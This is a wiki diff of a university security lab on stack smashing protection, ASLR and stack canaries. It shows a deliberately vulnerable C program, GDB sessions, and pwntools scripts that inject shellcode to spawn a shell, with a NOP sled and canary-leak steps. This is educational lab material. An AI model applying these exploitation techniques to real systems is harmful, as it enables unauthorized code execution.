Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-06 [2020/11/14 17:03]
mihai.dumitru2201 [Stack Protection: Canaries]
cns:labs:lab-06 [2020/11/16 11:01] (current)
dennis.plosceanu [T1. GCC stack protector [1p]]
Line 125: Line 125:
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
  
-==== T1. GCC stack protector ​[1p] ====+==== T1. GCC stack protector ====
  
 Take a look at ''​vulnerable.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]]. We are interested in particular in the ''​%%get_user_input%%''​ function, which ''​read''​s from standard input into a local buffer more bytes than are available: Take a look at ''​vulnerable.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]]. We are interested in particular in the ''​%%get_user_input%%''​ function, which ''​read''​s from standard input into a local buffer more bytes than are available:
Line 149: Line 149:
 cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c
 cc -m32 -z execstack ​ vulnerable.o ​  -o vulnerable cc -m32 -z execstack ​ vulnerable.o ​  -o vulnerable
-$ python -c 'print "​A"​*20'​ | ./​vulnerable+$ python -c 'print("​A"​*20)' | ./​vulnerable
 Segmentation fault Segmentation fault
 $ dmesg | tail -n 1 $ dmesg | tail -n 1
Line 166: Line 166:
  
 <​code>​ <​code>​
-$ python -c 'print "​A"​*20'​ | ./​vulnerable-ssp+$ python -c 'print("​A"​*20)' | ./​vulnerable-ssp
 *** stack smashing detected ***: ./​vulnerable-ssp terminated *** stack smashing detected ***: ./​vulnerable-ssp terminated
 ======= Backtrace: ========= ======= Backtrace: =========
Line 222: Line 222:
  
 <code asm> <code asm>
-$ SHELLCODE=$(python -c 'print "​C"​ * 1000') gdb -q ./​vulnerable+$ SHELLCODE=$(python -c 'print("​C"​ * 1000)') gdb -q ./​vulnerable
 Reading symbols from ./​vulnerable...done. Reading symbols from ./​vulnerable...done.
-gdb-peda$ r < <(python -c 'print "​A"​ * 16 + "​BBBB"'​)+gdb-peda$ r < <(python -c 'print("​A"​ * 16 + "​BBBB"​)')
 ... ...
-EIP0x42424242 ​('BBBB') +RBP0x4141414141414141 ​('AAAAAAAA')
-... +
-Invalid $PC address: 0x42424242+
 ... ...
 Legend: code, data, rodata, value Legend: code, data, rodata, value
Line 234: Line 232:
 0x42424242 in ?? () 0x42424242 in ?? ()
 gdb-peda$ searchmem "​CCCCC" ​                     ​ gdb-peda$ searchmem "​CCCCC" ​                     ​
-Searching for '​CCCCC'​ in: None ranges ​            +Searching for '​CCCCC'​ in: None ranges 
-Found 200 results, display max 200 items: ​        +Found 200 results, display max 200 items: 
-[stack] : 0xffffdbc8 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffeba4 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbcd ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffeba9 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbd2 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebae ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbd7 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebb3 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbdc ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebb8 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbe1 ​('​C'​ <repeats 200 times>​...)+[stack] : 0x7fffffffebbd ​('​C'​ <repeats 200 times>​...) 
 +[stack] : 0x7fffffffebc2 ('​C'​ <repeats 200 times>​...) 
 ... ...
 </​code>​ </​code>​
Line 248: Line 248:
  
   * The return address is at offset 16 in our input   * The return address is at offset 16 in our input
-  * The ''​SHELLCODE''​ environment variable will be placed at approximately ''​0xffffdbc8''​. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems.+  * The ''​SHELLCODE''​ environment variable will be placed at approximately ''​0x7fffffffeba4''​. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems.
  
 Given this, we can already write a skeleton for our exploit: Given this, we can already write a skeleton for our exploit:
Line 257: Line 257:
 from pwn import * from pwn import *
  
-# 32-bit Linux +context.binary ​"​./​vulnerable"​
-context(arch='​i386',​ os='​linux'​)+
  
 # Generate vars: a shellcode, return address offset, target address. # Generate vars: a shellcode, return address offset, target address.
 shellcode = asm(shellcraft.sh()) shellcode = asm(shellcraft.sh())
 ret_offset = 16 ret_offset = 16
-target = 0xffffdbc8+target = 0x7fffffffeba4
  
 # Generate process, with SHELLCODE as an env var. # Generate process, with SHELLCODE as an env var.
Line 269: Line 268:
  
 # Craft payload. # Craft payload.
-payload = "​A"​ * ret_offset +payload = b"​A"​ * ret_offset 
-payload += p32(target)+payload += pack(target)
  
 # Send payload. # Send payload.
Line 294: Line 293:
 <​code>​ <​code>​
 $ dmesg | tail $ dmesg | tail
-[20073.274211] vulnerable[11099]: segfault at 19 ip 00000000ffffdbc8 ​sp 00000000ffffde20 ​error 6+[31758.336503] vulnerable[53539]: segfault at 15 ip 00007fffffffeb9a ​sp 00007fffffffed30 ​error 
 +6
 </​code>​ </​code>​
  
-So we don't know //exactly// what happened((We can decode the error code using information in the [[http://​lxr.free-electrons.com/​source/​arch/​x86/​mm/​fault.c#​L30|Linux kernel source code]]. Error code ''​6''​ corresponds to a failed user space write operation, but that doesn'​t help much.)), but we know that most probably the code at ''​0xffffdbc8''​ isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we could just extend our shellcode by prepending a **NOP sled** to it, or we could use **pwntools io.corefile.env** to get the environment variable address directly from the running io process.+So we don't know //exactly// what happened((We can decode the error code using information in the [[http://​lxr.free-electrons.com/​source/​arch/​x86/​mm/​fault.c#​L30|Linux kernel source code]]. Error code ''​6''​ corresponds to a failed user space write operation, but that doesn'​t help much.)), but we know that most probably the code at ''​0x7fffffffeba4''​ isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we could just extend our shellcode by prepending a **NOP sled** to it:
  
 <code python> <code python>
 +nopsled = b"​\x90"​ * 2000
 io = process('​./​vulnerable',​ env= { '​SHELLCODE'​ : nopsled + shellcode }) io = process('​./​vulnerable',​ env= { '​SHELLCODE'​ : nopsled + shellcode })
 target = io.corefile.env["​SHELLCODE"​] target = io.corefile.env["​SHELLCODE"​]
  
 # Craft payload. # Craft payload.
-payload = "​A"​ * ret_offset +payload = b"​A"​ * ret_offset 
-payload += p32(target)+payload += pack(target)
  
 </​code>​ </​code>​
Line 323: Line 324:
 </​code>​ </​code>​
  
-<note tip> 
-In the PRECIS 706 lab room it may happen that the address you found through GDB (something like ''​0xffffd07c''​) will not work. You can use a value more similar to the one we provide from our investigation (''​0xffffdbc8''​). 
-</​note>​ 
  
- 
-For **64 bit architecture**,​ the exploit will be similar with 32, except from the shellcode arch and **ret_offset**:​ 
- 
-<code python exploit-t2-64.py> ​ 
-#​!/​usr/​bin/​env python ​ 
-from pwn import * 
-# 64-bit Linux 
-context(arch='​amd64',​ os='​linux'​) 
-  
-# Generate vars: a shellcode, return address offset, target address. 
-shellcode = asm(shellcraft.sh(),​arch='​amd64'​) 
-ret_offset = 12 
- 
-# Generate process, with SHELLCODE as an env var. 
-io = process('​./​vulnerable-64',​ env= { '​SHELLCODE'​ : shellcode}) 
- 
-target = io.corefile.env["​SHELLCODE"​] 
-# Craft payload. 
-payload = "​A"​ * ret_offset 
-payload += p64(target) 
-  
-# Send payload. 
-io.sendline(payload) 
-  
-io.interactive() 
- 
-</​code>​ 
- 
-<​code>​ 
-$ python exploit-t2-64.py 
- 
-[+] Starting local process '​./​vulnerable-64':​ pid 13417 
-[+] Parsing corefile...:​ Done 
-[*] '​core.vulnerable-64.13417'​ 
-    Arch:      amd64-64-little 
-    RIP:       ​0x7ffff7af4081 
-    RSP:       ​0x7fffffffed08 
-    Exe:       '​vulnerable-64'​ (0x555555554000) 
-[*] Switching to interactive mode 
-$ ls / 
-bin   ​home ​         lib32      media  root  sys  vmlinuz 
-boot  initrd.img ​     lib64      mnt     ​run ​  ​tmp ​ vmlinuz.old 
-dev   ​initrd.img.old ​ libx32 ​     opt     ​sbin ​ usr 
-etc   ​lib ​         lost+found ​ proc     ​srv ​  var 
-</​code>​ 
  
 ===== Tasks ===== ===== Tasks =====
Line 387: Line 340:
  
 <note tip> <note tip>
-Bypassing ASLR through brute-force is possible only because ''​vulnerable''​ is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture?​+Bypassing ASLR through brute-force is possible only because ''​bruteforce''​ is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture?​
  
 We can find the answer quickly through empirical means. We've included a program called ''​buf.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs: We can find the answer quickly through empirical means. We've included a program called ''​buf.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs:
Line 460: Line 413:
 ==== 2. Stackbleed: infoleak + ASLR bypass ​ ==== ==== 2. Stackbleed: infoleak + ASLR bypass ​ ====
  
-Examine ''​vulnerable2.c''​. This is very similar to ''​vulnerable'',​ only ''​%%get_user_input%%''​ calls ''​read''​ twice:+Examine ''​stackbleed.c''​''​%%get_user_input%%''​ calls ''​read''​ twice:
  
 <code C> <code C>
Line 478: Line 431:
  
 <​code>​ <​code>​
-$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | SHELLCODE="​\x90\x90\x90\x90"​ ./vulnerable2 ​| xxd+$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | SHELLCODE="​\x90\x90\x90\x90"​ ./stackbleed ​| xxd
 00000000: 4142 4344 d90f d3ff 010a                 ​ABCD...... 00000000: 4142 4344 d90f d3ff 010a                 ​ABCD......
 </​code>​ </​code>​
Line 498: Line 451:
 <​code>​ <​code>​
 log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary,​ '​all',​ endian='​little',​ sign=False))) log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary,​ '​all',​ endian='​little',​ sign=False)))
 +</​code>​
 +
 +Or, if you set the context properly (e.g. ''​context.binary = "​./​stackbleed"''​),​ you can skip the arguments to ''​unpack'':​
 +<​code>​
 +log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary)))
 </​code>​ </​code>​
 </​note>​ </​note>​
 ==== 3. Extra: infoleak + stack canary bypass ​ ==== ==== 3. Extra: infoleak + stack canary bypass ​ ====
  
-Examine ''​vulnerable3.c''​ and the resulting ''​vulnerable3''​ executable file. It is once again very similar to the previous incarnations,​ but we will use it for something somewhat different: leaking the stack canary and bypassing it.+Examine ''​canary.c''​ and the resulting ''​canary''​ executable file. It is once again very similar to the previous incarnations,​ but we will use it for something somewhat different: leaking the stack canary and bypassing it.
  
 Knowing that ''​buf'''​s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''​vulnerable3''​ with GDB: Knowing that ''​buf'''​s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''​vulnerable3''​ with GDB:
  
 <code asm> <code asm>
-$ gdb -q ./vulnerable3+$ gdb -q ./canary
 Reading symbols from ./​vulnerable3...done. Reading symbols from ./​vulnerable3...done.
 gdb-peda$ pdis get_user_input gdb-peda$ pdis get_user_input
Line 538: Line 496:
 <​code>​ <​code>​
 gdb-peda$ b *0x08048497 gdb-peda$ b *0x08048497
-Breakpoint 1 at 0x8048497: file vulnerable3.c, line 8.+Breakpoint 1 at 0x8048497: file canary.c, line 8.
 gdb-peda$ r < <(echo -n "​AAAA\n"​) gdb-peda$ r < <(echo -n "​AAAA\n"​)
 ... ...
Line 549: Line 507:
 <​code>​ <​code>​
 $ # we give "​ABCD"​ as an input $ # we give "​ABCD"​ as an input
-$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | ./vulnerable3 ​| xxd+$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | ./canary ​| xxd
 00000000: 4142 4344 0a                             ABCD. 00000000: 4142 4344 0a                             ABCD.
 $ # we give "​ABCD\n"​ as an input $ # we give "​ABCD\n"​ as an input
-$ python -c '​import sys; sys.stdout.write("​ABCD\n"​)'​ | ./vulnerable3 ​| xxd +$ python -c '​import sys; sys.stdout.write("​ABCD\n"​)'​ | ./canary ​| xxd 
-*** stack smashing detected ***: ./vulnerable3 ​terminated+*** stack smashing detected ***: ./canary ​terminated
 ... ...
 00000000: 4142 4344 0a7e 3d76 010a                 ​ABCD.~=v.. 00000000: 4142 4344 0a7e 3d76 010a                 ​ABCD.~=v..
cns/labs/lab-06.1605366215.txt.gz · Last modified: 2020/11/14 17:03 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0